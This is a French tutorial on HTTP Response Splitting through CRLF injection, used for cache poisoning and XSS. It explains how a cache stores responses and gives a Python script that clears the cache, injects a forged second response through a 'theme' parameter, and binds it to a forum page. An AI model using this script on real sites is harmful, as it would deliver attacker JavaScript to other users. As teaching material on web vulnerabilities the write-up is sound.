Brève explication de comment le cache fonctionne

Pour exploiter cette vulnérabilité nous devrons comprendre comment le cache fonctionne. Pour augmenter la vitesse de réponse, le cache stocke les réponses du serveur associées aux requêtes comme ceci:

/login => login page
/admin => admin page
/register => register page
/posts => posts page

Donc quand on fait une requête sur /posts par exemple, le cache nous envoie la réponse du serveur qui est associée à /posts.

Qu’est ce que la faille HTTP Response Splitting ?

La faille HTTP Response Splitting est un type de CRLF où le but est d’injecter une seconde réponse.

HTTP/1.1 302 FOUND
[...]
Set-Cookie: theme=dark

HTTP/1.1 200 OK
[...]

Comment utiliser cette faille pour exploiter une XSS ?

En effectuant cette injection, il n’y a pas d’impact apparent dans notre navigateur mais on peut exploiter le cache. Après l’injection, la seconde réponse n’est pas stockée dans le cache car elle n’a pas de requête associée. Donc, si on fait une requête juste après l’injection, cette requête va être associée à la réponse injectée et quand d’autres utilisateurs vont GET cette url, ils vont recevoir la réponse injectée. Maintenant nous avons juste à ajouter du code Javascript dans le contenu de notre réponse injectée.

Exploit

Premièrement, nous devons vider le cache pour supprimer toutes les réponses associées aux requêtes ou nous ne serons pas en capacité de les modifier. Deuxièmement, nous devons effectuer notre injection. Enfin, on doit faire une requête sur la page dont qu’on souhaite associer à notre réponse. On peut faire ça grâce à un petit script python:

# J'ai détaillé au maximum pour faciliter la compréhension
import requests

header = {'Pragma':'no-cache'} # Header pour vider le cache

site = 'http://vulnerable-site.com' # Url
injection = '?theme=dark' # Paramètre pour l'injection
page_we_want_to_exploit = '/forum' # Page où on souhaite exploiter la XSS

crlf = '%0D%0A' # Carriage Return Line Feed pour séparer les réponses et ajouter des headers
status_of_second_response = 'HTTP%2F1.1%20200%20OK' # HTTP/1.1 200 OK
content_of_second_response = '[javascript code]' # XSS

requests.get(site + page_we_want_to_exploit, headers=header) # Vider le cache
requests.get(site + injection + crlf + status_of_second_response + crlf + content_of_second_response, headers=header) # Injection
requests.get(site + page_we_want_to_exploit) # Associer la réponse a l'url